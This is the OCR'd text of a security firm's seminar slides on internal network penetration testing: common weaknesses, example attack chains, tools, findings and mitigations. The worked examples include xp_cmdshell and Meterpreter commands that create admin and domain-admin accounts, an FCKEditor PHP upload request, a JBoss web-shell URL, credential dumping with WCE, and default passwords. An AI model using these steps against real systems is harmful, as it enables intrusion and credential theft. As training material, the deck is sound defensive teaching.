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Time
10:00 —10:15
10:15-12:15
12:15-12:30

12:30-13:30
13:30 - 15:00
15:00-17:15
17:15-17:30
17:30 - 18:00

Agenda

Agenda Item
Introduction

Seminar: Web Application Penetration Test

Break

Seminar: Social Engineering Test

Lunch

Seminar: Internal Penetration Test

Break

Seminar: Physical Social Engineering Test
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We are safe Internally...

...our external resources / perimeter defences are secure
— External infrastructure / network penetration testing

— Web application penetration testing

— Well configured firewall rules

Social engineering
Client side attacks
Rogue staff
Physical intrusion

K} dionach

REAL SECURITY IN A VIRTUAL WORLD



Internal Penetration Test

* “We have granular firewall rules”

* “We have regular external network
penetration testing” @
* “We patch all our systems, blah blah.” EEEE)

e ...mmh ok, how big is network?
* have you ever pen tested your internal network?
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External view

Internal view

www website dn.uk

80 | HTTP

Microsoft-11S/7.0 ASP.NET

443  HTTPS

Microsoft IS httpd 7.0 SSL: www.website.dn.uk
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192.166.0.3 = www.website.dn.uk
21 FTP Microsoft IIS fipd (IP address rejected)
25 | TCPWRAPPED
80 | HTTP Microsoft-lIS/5.0 ASP.NET
90 | HTTP Microsoft-lS/5.0 ASP.NET
135  MSRPC Microsoft Windows RPC
443 | HTTPS Microsoft IS hitpd 5.0 SSL:www.website.dn.uk
445  MICROSOFT-DS?
1082 | MSRPC Microsoft Windows RPC
1085 | MSRPC Microsoft Windows RPC
1089 | DCE-RPC
1091 | MSRPC Microsoft Windows RPC
1102 | DCE-RPC
UDP 1109 DCE-RPC
1132 | TCPWRAPPED
1133 | SSLSOPHOS Sophos Message Router
1165 | MSRPC Microsoft Windows RPC
1175 | DCE-RPC
1433 | MS-8QL-8 Microsoft SQL Server 2000 8.00.766; SP3a
1762 | TCPWRAPPED
2301 | HTTP CompagHTTPSenver/5.94
2381  HTTPS Compag Insight Manager HTTP server 5.94
3389  MICROSOFT-RDP Microsoft Terminal Service
7215 | HTTP Microsoft-lS/5.0 403
8009  AJP137
8192  SOPHOS Sophos Message Router
8193  TCPWRAPPED
8194 SSLISOPHOS Sophos Message Router
9001
9593  HTTPS LANDesklintel Management Agent
9594  HTTPS LANDesklntel Management Agent
9595 | HTTP LANDesk Management Agent/1.0
10000 | NDMP Symantec/Ventas Backup Exec ndmp
33354 | LANDESK LANDesk Management Suite
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Internal Context

e Access to the Internal Network
— Access to workstations
— Access to patch points

— Unattended offices / meeting rooms
— Insecure Wi-Fi
— Via external exploit

e Level of Access

— Access with no credentials (device planted)

— Low privilege credentials (client side attack, rogue employee)
— Admin credentials (leaked password, privilege escalation)
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Key Common Vulnerabilities

 Weak / Default Passwords

* Inappropriate Privileges

* Access Control Issues / Information Leakage
* Inadequate Patching of Systems

* Unsecured Workstations

* Vulnerabilities in Intranet Applications
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Weak / Default Passwords

 Weak Passwords
— Password1 (complex!)
— Company related — “Companynamel”
— Test accounts test : test
— Standard new password “Welcome01”
— Standard dba passwords sa : blank

e Service Accounts (Unnecessary Privileges?)
— backupexec : backupexec
— BESadmin : blackberry
— tomcat : tomcat
— SAVAdmin : sophos
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Weak / Default Passwords

 Network Devices
— Switches / routers / firewalls

— Application firewalls / security devices / IPS
— NAS

— Printers
* Web Administration Consoles

— Servers, applications running with default credentials
* Reused passwords / accounts

— Same passwords used for many accounts

— Same account with privileges for many systems
— Shared passwords
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Weak / Default Passwords

e Common Attacks on Weak Passwords
— Scan / manual test for default passwords
— Password guessing
— Username same as password
— Single scan for specific password
— Accounts that have not been logged into before
— Service accounts with obvious passwords
— Standard dba passwords
— Automated “Brute Force” attack - noisy
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Inappropriate Privileges

* User / Service Accounts with Inappropriate Privilege
— Very high membership of domain admins group
— Day to day accounts with domain admin privilege
— Privileged accounts with weak passwords
— “test : test” often a high privileged account
— Service accounts running as over privileged accounts

* E.g.-SQL Server Services
* E.g.-1IS/ Apache Services

— Redundant / unused accounts
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Example Attack: DB Servers (SQL /Oracle)

 Weak or default passwords
— Sa . Sd
— sa: blank
— DBSNMP : DBSNMP

* Scan / manual inspection for SQL / Oracle Server services
e Services running excessive privileges

* dba access to database

* Leads to server / domain compromise
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Example Domain Compromise (SQL Server)

 Combination of weak passwords and inappropriate permissions
* Scan / discover SQL Server instances on the network
 Connect to a SQL Server DB0O001 using default “sa:blank”

 Use the xp_cmdshell stored procedure to create an SQL Server user on
SQL Server DB0002, + grant the user sysadmin

exec ¥p cmdshell 'osgl -5 192.168.1.235 -E -0 "sp addlogin
""dionach'', "'"<password>'"'""

exec ¥p cmdshell 'osgl -85 192.168.1.235 -E -0 "gp addsrvrolemember
""dionach'', "'sysadmin''™’

e Connect to SQL Server DB0O002 as new “dionach” user

Use xp_cmdshell to create a local windows admin user on DB0O002

K} dionach

REAL SECURITY IN A VIRTUAL WORLD




Example Domain Compromise (SQL Server)

exec ¥p cmdshell 'net user dionach <password> /add’'
exec xp cmdshell 'net localgronp administrators dionach /add’'

* Using Metasploit, connect to DB0O002 as the newly created “dionach”
Windows user.

Get a list of running processes and migrate to one that is running as a
“domain admin user”.

Meterpreter > ps
Tamar

meterpreter > migrate <pid>
meterpreter > getuid
Server username: victim\username

e Then add a new domain admin user account

meterpreter > add user dionach <password> -h victim.local
meterpreter > add group user "domain admins™ diconach -h victim.local
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Access Control

* Access Control on Network Shares
— Batch / config files containing passwords
— Excel spreadsheets with pwds
— Server / database backups
— General IT Files, user / install guides

e Access control on sensitive information
— Inadequate protection on shares

— Inadequate permissions for databases
— Obsolete shares still available
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Access Control — clear text credentials

C:\Sysprep\Sysprep.inf
JoinDomain=victim.domain
DomainfAdmin=victim.domain\image
DomainfAdminPassword=P*** &kkkk¥]

/WdsClientUnattend/unattend. xml

[.-.]
<Login>
<WillShowUI>OnError</WillsShowUI>
<Credentials>
<Username>install</Username>
<Domain>victim.local</Domain>
<Password>P****¥* % %] </ Password>
</Credential s>
</Login>
[..-]
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Information Leakage

* Network shares inadequately permissioned

e Active Directory description field

* Source code in web applications

* Unencrypted sensitive documents

e Version information displayed by applications
e Configuration information

__°* Temporary files
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Patching / Updates

* In recent years OS updates increasingly more up to date
— Antivirus often prevents exploitation of issues
— However, antivirus can often be disabled by the attacker
— Still a source of compromise; we often find servers heavily out of date

« 3" Party applications
— Often no specific mechanism to patch
— Variety of versions throughout a network
— Inappropriate or unauthorised versions running

e Qut of date firmware
— Network devices are setup and often forgot about
— Common to see out of date firmware versions with issues
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Inadequate Workstation Protection

« Lack of patching

« 3" party patching (Adobe, Java, Flash)
 Virus definitions out of date or no protection
« Users with local admin permissions

* No disk encryption

 Alternative boot allowed
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Example Domain Compromise via Workstation
* Gain physical access to workstation
* Boot with bootable USB pre-loaded with Kali Linux

[N rttp://wnkaliorg P~ 2 & ||, Kali Linux| Rebirth of Back...

IS ORI

* Mount local disk - browse local file system

* OPTIONS:

— Mount locally held password hashes from the SAM
database — extract LM hash for the local admin account

— ldentify a local file containing credentials
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Example Domain Compromise via Workstation

B o vt meoms e we e w <@-c| - Connect to Oracle database engine as dba

1 E— : S E— - - As dba, possible to create Java shell

: oo o - Oracle database engine running as local system
& |New Symposiumserver account

ctnamosmtctam)  sunn - Add new low privilege user, add to local admins
o _ - Disable antivirus (using admin privilege)

Ready | 23 EOm 100% = &

- Run utility Windows Credential Extractor (WCE) — extract in-memory credentials

C:"Documents and Settingsi\dionach'\Desktop>wce —w

Dionach\VICTIM: O~ & & & &% 5y
WarrenG\VICTIM: WwS#*#*###47
Administrator\¥ICTIM: gs% &% &&*QT)

-  Domain Compromised
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Vulnerabilities in Intranet Applications

Emphasis on testing and securing externally facing web applications

Internal web applications seen as protected by their internal location

Often installed on internal domain resources

Often running on servers without antivirus

Often running with privileged accounts (system or domain admin)

Rarely separated from the rest of the network

Susceptible to all the vulnerabilities of external applications, but internal!

OWASP top 10: SQL injection, XSS...

Compromise can lead to database compromise, compromise of other
applications, access to sensitive data, server compromise, domain
compromise.
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Example Exploitation

 FCKEditor — Commonly found on PHP applications
* Often inadequately configured, permissioned or unused

— Anonymous access
— Arbitrary file upload

 Upload test PHP file

hitp//kevapp/modules/key book/class/fckeditor/editor/filemanager/upload/php/upload.php?T
yvpe=Media

Content-Disposition: form-data; name="NewFile"; filename="test.php"
Content-Type: application/octet-stream

<?php echo "testing™ 7>

hitp://keyapp/uploadsikey book/test php
testing

K} dionach

REAL SECURITY IN A VIRTUAL WORLD




Example Exploitation

Upload PHP shell to the server to Interact with the OS
Look for files: MySQL connection string
Gain access to the database / webserver
Create Additional Content on the web application
— An additional form that asks for credentials and sends to the attacker?
— Add a link through to the attacker’s website
— Add script to specific pages to hijack browsers
— Keylogger functionality
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Other Specifics
e JBoss — unhardened/default, with default credentials
 Tomcat — unhardened/default with default credentials
* VNC - often weak passwords or anonymous access
e Citrix — Breakout of published applications

* SNMP - default community strings, allow modification of
device configurations

* WIiFi — Rogue access point or weak encryption / simple
keys
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Examples: JBoss Exploitation

 Scan the network for JBoss installations
e Connect to the JMX console on the website:

http://192.168.1.204:8887/imx-console/
_ JBoss JMX Management Console | |

ﬁx'ﬂggs | JMX Agent View beech
. [ .

ObjectName Filter (e.g. "jboss:*", "*:service=invoker,*") :
[ ApplyFilter |

K} dionach

REAL SECURITY IN A VIRTUAL WORLD



Examples: JBoss Exploitation

* Deploy a custom WAR file to Interact with the
operating system via the Jboss Deployment Scanner:

http://192.168.1.204:8887/imx-console/HtmlAdaptor?action=inspectMBean&name=jboss.deploym
ent:type=DeploymentScanner, flavor=URL

* Browse to the uploaded custom WAR file:
http://192.168.1.204:8887/cmd/cmd.jsp?cmd=cmd+%2fc+whoami

| Send

Command: cmd /c whoami

nt authority\system
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Summary of Key Vulnerabilities

 Weak / Default Passwords

* Inappropriate Privileges

* Access Control Issues / Information Leakage
* |Inadequate Patching of systems

* Unsecured Workstations

* Vulnerabilities in Intranet Applications
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Typical Findings

Description Impact L’hood Risk Page

5.2.1 | Weak Domain Administrator Passwords High High ey 11
Example Application Vulnerable to SQL : . :

522 Injection High High ey 11

5.2.3 | Files Contain Credentials in Clear Text High High ey 12
Inconsistent and Inappropriate Access : . :

524 Control High High Crit 13

5.2.5 | Default SNMP Community Strings High High ey 14

5.26 | Wireless Network Weak Key High High Crit 15

5.2.7 | Anti-Virus Definitions Out-Dated High Med 15

5.2.8 | Reflected Cross-Site Scripting High Med 16
Potentially Unnecessary Administrator :

529 Accounts High Med 16

5210 SQL Server Login Unnecessary High Med 17
Privileges

5.2.11 | F5 Vulnerable to Authentication Bypass High Med 18

5.2.12 | Weak Local Administrator Password Med High 18

5.2.13 | Weak Domain User Passwords Med High 19

5.2.14 | Weak VNC Password Med High 19

K} dionach

REAL SECURITY IN A VIRTUAL WORLD




Tools

* Nmap (-p- TCP, common UDP) ““||GAVE YOU THETOOLS
* Nessus s 5

* enumélinux : ”

*  WCE - Mimikatz FN )

 Responder o

 PowerView — Veil
 Metasploit (MSSQL - McAfee)
e (Cain (Rainbow tables)

* Praedasploit

e Kali-linux
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etwork

Domain Controller

- e

AT

SQL Server s MySQL + Apache/Nginx Backup Server

Multifunction printer E E E E
! Lot (- { - |a 1]

s
L0 L ) 1
Workstation 1 Workstation 2 Workstation N-1 Workstation N

dionach

REAL SECURITY IN A VIRTUAL WORLD

Universita di Camerino

&3

1336




Common Strategy

+ Get usernames GHALLENGE ACGEPTED

e Get hashes

* Crack weak passwords é
* Getdomain user

* Get local administrator

* Get domain administrator A‘
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Pass The Hash (PTH)

* Published by Paul Ashton in 1997

L C  [1 www.securityfocus.com/bid/233/discuss

C O SecurityFocus *
info discussion || exploit || solution H references |

NT "Pass the Hash" with Modified SMB Client Vulnerability

A modified SMB client can mount shares on an SMB host by passing the username and corresponding LanMan hash of an account
that is authorized to access the host and share. The modified SMB client removes the need for the user to "decrypt” the
password hash into its clear-text equivalent.

Paul Ashton <paul @EIGEN.CO.UK> posted the theory and corresponding exploit code to NTBugtrag. In order for his code to

work, you must "exist both in /etc/passwd and fusr/local/samba/private/smbpasswd as the same username and same uid as
your rid in NT, and smbclient can read it".

In order for this to be used in a malicious manner, the attacker must first obtain a valid username and LanMan hash for a user
account known to have access permissions to the resource on the remote NT host.

Privacy Statement
Copyright 2010, SecurityFocus
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Imhash = LMHash(“pwd1”) PTH

nthash = NTHash(“pwd1”)

- — Init connection

v ' :
Responds C = challenge random "i
A Sends cgarcia, R r =/
a e
| Bargy,
SAM Database

- fimbash/nthash, SR e =)

cgarcia ABBI}ID.. BOFD1..
ajuarez  B9ODF. /CCDF..

* Cleartext password is not needed for NTLM auth R

* Only Imhash/nthash are needed v 9

* No need to crack/brute-force R’ = f(SAM[Imhash/nthash], C)
* Just use the hashes directly R’ == R => Access Granted

R’ <> R => Access Denied
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LM & NTLM Challenge Response

This is Mark I'd like to Login

If you are really Mark then encrypt
this challenge with Mark's PW Hash

Here is the encrypted challenge

Access Granted
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Capture LM & NTLM Hashes

This is Mark I'd like to Login

If you are really Mark then encrypt
this challenge with Mark's PW Hash

Challenge: 11122334455667788

Here is the encrypted challenge
Hash 11122334455667788
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Responder

* s tool that only answers to a certain type of to IPv4 LLMNR (Link-
local Multicast Name Resolution) and Netbios Name Service
(NBT-NS) queries

* This tool includes:

 LLMNR, NBT-NS poisoner (respond to broadcast NBT-NS
queries).

e Rogue SMB, HTTP and SQL server with a NTLMv1/v2 hash
grabber.

* Web Proxy Autodiscovery Protocol (WPAD) MiTM

 SMB Relay 8’3 dlownaqh




SMB Relay Hashes

This is Admin

I'd like to login

This is Admin I'd like
to login

Inventory Server
Attacker
Encrypt challenge X with
the admin hash
Encrypt challenge X with
the admin hash

I
Here is the encrypted

challenge Here is the encrypted

challenge
|

Access Granted!!

Access DENIED!!
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WCE

 Windows Credentials Editor (WCE)

e Perform Pass-the-Hash on Windows

e Steal NTLM credentials from memory (with and without code
injection)

e Steal Kerberos Tickets from Windows machines

 Use the 'stolen' kerberos Tickets on other Windows or Unix
machines to gain access to systems and services

Dump cleartext passwords stored by Windows authentication

packages & dionach




Mimikatz

e Dump credentials
— Windows protected memory (LSASS). *
— Active Directory Domain Controller database . *
Dump Kerberos tickets
— for all users. *
— for current user.
* Credential Injection
— Password hash (pass-the-hash)
— Kerberos ticket (pass-the-ticket)

Generate Silver and/or Golden tickets 8’3 d|qnach




MS014-68

you implemented
a fullKerheros domain?

You must teel SBGIII‘E IIIIW
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Mitigations
SETS PASSWORD AS MYDICK
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Mitigations

HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Lsa\Security Packages

Lealnformation | || 4 everyoneinclude... REG DWORD (00000000 (0)
), MediaCategores | | Mforceguest REG_DWORD 000000000 (0)
Disconnect =| Logoff - pJi MediaDRM 8 fullprivilegeaudi.. REG_BINARY 00
. )| Medialnterfaces || $4|LimitBlankPass.. REG DWORD 0300000001 (1)
19151 10 v . EE— 0300000228 (552)
000000001 (1)
scecli

000000004 (4)
000000000 (0)
000000001 (1)
000000001 (1)
kerberas msvl_0 schannel pku2u

Remote Desktop Connection @

I

'0' This will disconnect your Remote Desktop Services session. Your WDIgest and Tstg

programs will continue to run while you are disconnected. You can

reconnect to this session lzter by logging on again. ha\fe been remO\fEd

R dionach
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Mitigations

* NTLMv2 response only

i Local Security Policy
File Action View Help

&2 | 7EXRE = H=

T Security Settings Palicy = Security Setting
> 4 Account Policies

| Metwork security: LAM Manager authentication level Send MNTLMvZ response only. Refuse LM 80 NTLM
| Metwork security: LDAP client signing requirements Meguotiate signing

| Metwork security: Minimum session security for NTLM 535P based .. Require 128-bit encryption

| Metwork security: Minimum session security for NTLM 55P based ... Require 128-bit encryption

4 [ 4 Local Policies

4 Audit Policy
> g User Rights Assignment
& Security Options

o a3 i Wl A s | Metwork security: Restrict NTLM: Add remote server exceptions fo... 192168612
* SMB Signing
= 'l.f'fndnws Fire'n"-all with | Interactive logon: Require Domain Controller authentication to unlock workstation Disabled
I Metwork List Manager | Interactive logon: Reguire smart card Disabled
| Public Key Policies | Interactive logon: Smart card removal behavior Mo Action
| Software Restriction F . Microsoft network dient: Digitally sign communications (always) Enabled
| Application Control Po | Microsoft netwaork dient: Digitally sign communications (if server agrees) Enabled
@, IF Security Polides on | Microsoft network dient: Send unencrypted password to third-party SMB servers Disabled
| Advanced Audit Policy | Microsoft network server: Amount of idle time required before suspending session 15 minutes
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Generic Recommendations

* Specific issues can be resolved, but likely to reoccur
 Many of the same issues seen in subsequent tests

e Patching

* Network segregation, least privilege

* Network Access Control (NAC)

* Policy / Procedure
— 15027001, 1SO27002
— ISMS

* Auditing

* Monitoring / incident management
* Awareness

e Regular penetration testing
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Any Questions
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